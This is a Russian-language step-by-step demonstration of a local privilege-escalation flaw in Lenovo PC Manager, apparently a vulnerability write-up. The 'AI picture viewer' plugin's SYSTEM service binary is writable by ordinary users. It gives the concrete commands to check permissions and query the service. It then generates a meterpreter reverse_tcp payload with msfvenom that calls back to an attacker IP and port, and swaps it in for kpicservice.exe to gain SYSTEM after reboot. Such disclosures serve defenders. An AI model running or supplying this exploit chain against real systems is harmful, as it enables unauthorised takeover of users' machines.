
Пошаговая демонстрация локальной уязвимости повышения привилегий в Lenovo PC Manager: использование слабых разрешений файлов системной службы для получения доступа SYSTEM путем замены полезной нагрузки.
Обнаружено случайно в процессе изучения локального повышения привилегий.
В любой версии Lenovo PC Manager у его инструментов есть дефект прав: на любой загруженный инструмент обычный пользователь имеет права F (полный доступ).

Поскольку во всех версиях инструментов есть проблемы с правами, обычный пользователь может получить права администратора. Для демонстрации используется плагин «AI для просмотра изображений», так как у него есть служба с правами SYSTEM, и можно повысить привилегии до SYSTEM. В версиях до 5.1.100.1102 в Lenovo PC Manager присутствовал плагин «AI для просмотра изображений».

После установки плагина «AI для просмотра изображений» появляется постоянная служба.
C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

Используя icacls, смотрим права на файл.

Обнаруживаем, что у группы Users есть права I F (полный доступ). Создаём обычного пользователя.

Перейдём к сценарию атаки: если ни один пользователь из группы администраторов не вошёл в систему, сначала нужно выйти из всех учётных записей, затем войти как пользователь user1. С помощью sc смотрим службу — она работает от имени LocalSystem.
sc qc KPICService_Lenovo

Файл C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe полностью контролируется обычным пользователем.

Однако из-за ограничений служба постоянно работает и удерживает файл, поэтому обычному пользователю нужны права администратора, чтобы остановить её.
Попробуем другой подход: раз у обычного пользователя есть полный контроль, он может переместить файл. При перезагрузке служба, читая путь из конфигурации, всё равно запустит kpicservice.exe от имени LocalSystem.
Теперь приступим к практике. Сначала сгенерируем kpicservice.exe.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.133 LPORT=4444 -f exe -o kpicservice.exe
При этом переместим исходный файл и заменим оригинальный kpicservice.exe на shell.
move C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe kpicservice.exe
move Desktop\kpicservice.exe C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

После этого перезагружаем устройство — служба запустит подменённый kpicservice.exe из указанного пути, и мы получим права SYSTEM.
